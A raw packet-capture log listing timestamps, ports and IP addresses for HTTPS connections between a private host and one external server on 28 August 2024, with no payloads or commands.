Aug 28, 2024 22:21:26.974195004 CEST	49787	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:26.996893883 CEST	443	49787	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:26.997071981 CEST	49787	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:26.998172045 CEST	443	49787	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:26.998255968 CEST	443	49787	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:26.998302937 CEST	49787	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:26.998311996 CEST	443	49787	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:26.998325109 CEST	49787	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:26.998325109 CEST	49787	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:26.998366117 CEST	49787	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:27.001040936 CEST	49794	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:27.001112938 CEST	443	49794	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:27.001199007 CEST	49794	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:27.001418114 CEST	49794	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:27.001436949 CEST	443	49794	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:27.668781996 CEST	443	49794	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:27.669085026 CEST	49794	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:27.669114113 CEST	443	49794	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:27.669398069 CEST	443	49794	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:27.669706106 CEST	49794	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:27.669764042 CEST	443	49794	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:27.669876099 CEST	49794	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:27.712497950 CEST	443	49794	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:27.756844997 CEST	443	49793	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:27.805182934 CEST	49793	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:27.844491005 CEST	443	49793	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:27.844597101 CEST	49793	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:27.844916105 CEST	443	49793	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:27.844968081 CEST	49793	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:27.844978094 CEST	443	49793	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:27.844989061 CEST	443	49793	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:27.845021009 CEST	49793	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:27.845027924 CEST	443	49793	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:27.845036983 CEST	49793	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:27.845057011 CEST	49793	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:27.845057011 CEST	49793	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:27.847537041 CEST	49795	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:27.847584009 CEST	443	49795	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:27.847666025 CEST	49795	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:27.847865105 CEST	49795	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:27.847873926 CEST	443	49795	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:28.050096035 CEST	443	49785	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:28.051105022 CEST	443	49785	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:28.051191092 CEST	49785	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:28.051611900 CEST	49785	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:28.051626921 CEST	443	49785	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:28.069350958 CEST	49796	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:28.069385052 CEST	443	49796	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:28.069466114 CEST	49796	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:28.069889069 CEST	49796	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:28.069900036 CEST	443	49796	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:28.070204020 CEST	49797	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:28.070224047 CEST	443	49797	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:28.070283890 CEST	49797	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:28.070445061 CEST	49798	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:28.070451975 CEST	443	49798	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:28.070508003 CEST	49798	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:28.070682049 CEST	49797	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:28.070693970 CEST	443	49797	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:28.071005106 CEST	49798	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:28.071012020 CEST	443	49798	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:28.522221088 CEST	443	49795	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:28.523950100 CEST	49795	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:28.523983955 CEST	443	49795	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:28.524322033 CEST	443	49795	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:28.524780035 CEST	49795	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:28.524842978 CEST	443	49795	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:28.525013924 CEST	49795	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:28.572505951 CEST	443	49795	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:28.732333899 CEST	443	49796	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:28.733701944 CEST	49796	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:28.733732939 CEST	443	49796	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:28.734754086 CEST	443	49796	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:28.734824896 CEST	49796	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:28.735821962 CEST	49796	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:28.735894918 CEST	443	49796	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:28.736368895 CEST	49796	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:28.736376047 CEST	443	49796	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:28.747796059 CEST	443	49798	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:28.748014927 CEST	49798	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:28.748028994 CEST	443	49798	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:28.748332024 CEST	443	49798	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:28.748604059 CEST	49798	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:28.748656034 CEST	443	49798	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:28.748776913 CEST	49798	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:28.748790979 CEST	443	49798	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:28.766961098 CEST	443	49797	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:28.767338037 CEST	49797	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:28.767352104 CEST	443	49797	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:28.767729044 CEST	443	49797	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:28.768027067 CEST	49797	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:28.768160105 CEST	443	49797	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:28.778189898 CEST	49796	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:28.810168982 CEST	49797	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:28.840003967 CEST	443	49794	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:28.889273882 CEST	49794	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:28.926549911 CEST	443	49794	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:28.926635981 CEST	49794	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:28.931165934 CEST	443	49794	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:28.931235075 CEST	443	49794	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:28.931294918 CEST	49794	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:28.931308031 CEST	443	49794	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:28.931320906 CEST	49794	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:28.931320906 CEST	49794	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:28.931354046 CEST	49794	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:29.701472998 CEST	443	49795	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:29.743179083 CEST	49795	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:29.792651892 CEST	443	49795	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:29.792769909 CEST	49795	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:29.792785883 CEST	443	49795	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:29.792828083 CEST	49795	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:29.793348074 CEST	49795	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:29.793376923 CEST	443	49795	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:30.086785078 CEST	443	49796	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:30.086905956 CEST	443	49796	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:30.086965084 CEST	49796	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:30.087507010 CEST	49796	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:30.087528944 CEST	443	49796	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:30.907628059 CEST	49799	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:30.907679081 CEST	443	49799	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:30.907789946 CEST	49799	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:30.907995939 CEST	49799	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:30.908008099 CEST	443	49799	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:30.948860884 CEST	443	49798	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:30.948894978 CEST	443	49798	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:30.948910952 CEST	443	49798	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:30.949012041 CEST	49798	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:30.949031115 CEST	443	49798	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:30.949081898 CEST	49798	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:30.953345060 CEST	443	49798	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:30.953392029 CEST	443	49798	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:30.953435898 CEST	49798	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:30.953454018 CEST	443	49798	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:30.953480005 CEST	49798	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:30.984370947 CEST	49800	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:30.984396935 CEST	443	49800	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:30.984460115 CEST	49800	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:30.984716892 CEST	49800	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:30.984730005 CEST	443	49800	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:30.984992027 CEST	49801	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:30.985038996 CEST	443	49801	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:30.985090971 CEST	49801	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:30.985297918 CEST	49801	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:30.985315084 CEST	443	49801	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:30.989665031 CEST	49802	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:30.989691019 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:30.989752054 CEST	49802	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:30.989922047 CEST	49802	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:30.989936113 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:31.002145052 CEST	49798	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:31.058093071 CEST	443	49798	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:31.058131933 CEST	443	49798	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:31.058262110 CEST	49798	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:31.058304071 CEST	443	49798	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:31.058357954 CEST	49798	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:31.059020042 CEST	443	49798	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:31.059063911 CEST	443	49798	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:31.059128046 CEST	443	49798	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:31.059197903 CEST	49798	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:31.059252977 CEST	49798	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:31.059473038 CEST	49798	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:31.059493065 CEST	443	49798	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:31.591165066 CEST	443	49799	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:31.591489077 CEST	49799	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:31.591506004 CEST	443	49799	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:31.592494965 CEST	443	49799	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:31.592570066 CEST	49799	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:31.592848063 CEST	49799	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:31.592902899 CEST	443	49799	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:31.593041897 CEST	49799	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:31.593049049 CEST	443	49799	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:31.641192913 CEST	49799	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:31.653492928 CEST	443	49800	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:31.653800011 CEST	49800	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:31.653811932 CEST	443	49800	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:31.654689074 CEST	443	49800	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:31.654763937 CEST	49800	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:31.655541897 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:31.655677080 CEST	49800	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:31.655734062 CEST	443	49800	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:31.655858040 CEST	49802	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:31.655884027 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:31.656883955 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:31.656949043 CEST	49802	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:31.657628059 CEST	49802	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:31.657691956 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:31.657773018 CEST	49802	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:31.657783031 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:31.668030977 CEST	443	49801	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:31.668229103 CEST	49801	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:31.668246031 CEST	443	49801	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:31.669254065 CEST	443	49801	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:31.669322968 CEST	49801	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:31.669995070 CEST	49801	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:31.670052052 CEST	443	49801	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:31.705167055 CEST	49800	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:31.705172062 CEST	49802	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:31.705177069 CEST	443	49800	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:31.721172094 CEST	49801	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:31.721204042 CEST	443	49801	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:31.753149033 CEST	49800	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:31.769171953 CEST	49801	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:33.004421949 CEST	443	49799	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:33.004523993 CEST	443	49799	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:33.004580975 CEST	49799	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:33.004664898 CEST	49799	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:33.004683971 CEST	443	49799	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:33.015558958 CEST	49803	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:33.015585899 CEST	443	49803	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:33.015712023 CEST	49803	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:33.015909910 CEST	49803	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:33.015922070 CEST	443	49803	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:33.691428900 CEST	443	49803	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:33.691742897 CEST	49803	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:33.691778898 CEST	443	49803	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:33.692104101 CEST	443	49803	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:33.692389965 CEST	49803	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:33.692450047 CEST	443	49803	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:33.692569971 CEST	49803	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:33.740510941 CEST	443	49803	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:34.798770905 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:34.798804998 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:34.798811913 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:34.798842907 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:34.798867941 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:34.798893929 CEST	49802	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:34.798923016 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:34.798938036 CEST	49802	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:34.798975945 CEST	49802	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:34.800021887 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:34.800039053 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:34.800095081 CEST	49802	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:34.800101042 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:34.800153971 CEST	49802	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:35.021121025 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:35.021132946 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:35.021157026 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:35.021209002 CEST	49802	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:35.021231890 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:35.021255016 CEST	49802	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:35.021279097 CEST	49802	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:35.022228003 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:35.022242069 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:35.022310019 CEST	49802	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:35.022315979 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:35.022358894 CEST	49802	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:35.024017096 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:35.024030924 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:35.024101019 CEST	49802	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:35.024106979 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:35.024151087 CEST	49802	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:35.024991035 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:35.025006056 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:35.025067091 CEST	49802	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:35.025073051 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:35.025116920 CEST	49802	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:35.027724028 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:35.027738094 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:35.027813911 CEST	49802	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:35.027820110 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:35.027862072 CEST	49802	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:35.029078007 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:35.029090881 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:35.029172897 CEST	49802	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:35.029176950 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:35.029215097 CEST	49802	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:35.033153057 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:35.033170938 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:35.033231020 CEST	49802	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:35.033235073 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:35.033272028 CEST	49802	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:35.034459114 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:35.034471989 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:35.034533978 CEST	49802	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:35.034538984 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:35.034590960 CEST	49802	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:35.035826921 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:35.035840988 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:35.035904884 CEST	49802	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:35.035908937 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:35.035948992 CEST	49802	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:35.081140995 CEST	443	49803	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:35.081222057 CEST	443	49803	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:35.081269979 CEST	49803	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:35.081320047 CEST	49803	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:35.081341982 CEST	443	49803	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:35.082438946 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:35.082454920 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:35.082521915 CEST	49802	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:35.082530975 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:35.082573891 CEST	49802	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:35.092351913 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:35.092366934 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:35.092446089 CEST	49802	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:35.092451096 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:35.092505932 CEST	49802	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:35.107414007 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:35.107429028 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:35.107512951 CEST	49802	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:35.107522011 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:35.107572079 CEST	49802	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:35.110523939 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:35.110593081 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:35.110599995 CEST	49802	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:35.110642910 CEST	49802	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:35.110789061 CEST	49802	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:35.110805988 CEST	443	49802	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:35.110812902 CEST	49802	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:35.110852957 CEST	49802	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:35.124885082 CEST	49804	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:35.124902010 CEST	443	49804	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:35.124975920 CEST	49804	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:35.125163078 CEST	49804	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:35.125174046 CEST	443	49804	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:35.150548935 CEST	49805	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:35.150576115 CEST	443	49805	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:35.150677919 CEST	49805	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:35.150841951 CEST	49805	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:35.150854111 CEST	443	49805	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:35.180918932 CEST	49797	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:35.180943966 CEST	49797	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:35.180983067 CEST	443	49797	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:35.182089090 CEST	49806	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:35.182102919 CEST	443	49806	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:35.182162046 CEST	49806	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:35.182454109 CEST	49807	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:35.182470083 CEST	443	49807	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:35.182518959 CEST	49807	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:35.182647943 CEST	49806	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:35.182657957 CEST	443	49806	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:35.182805061 CEST	49807	443	192.168.2.16	185.225.69.39
Aug 28, 2024 22:21:35.182815075 CEST	443	49807	185.225.69.39	192.168.2.16
Aug 28, 2024 22:21:35.809946060 CEST	443	49804	185.225.69.39	192.168.2.16
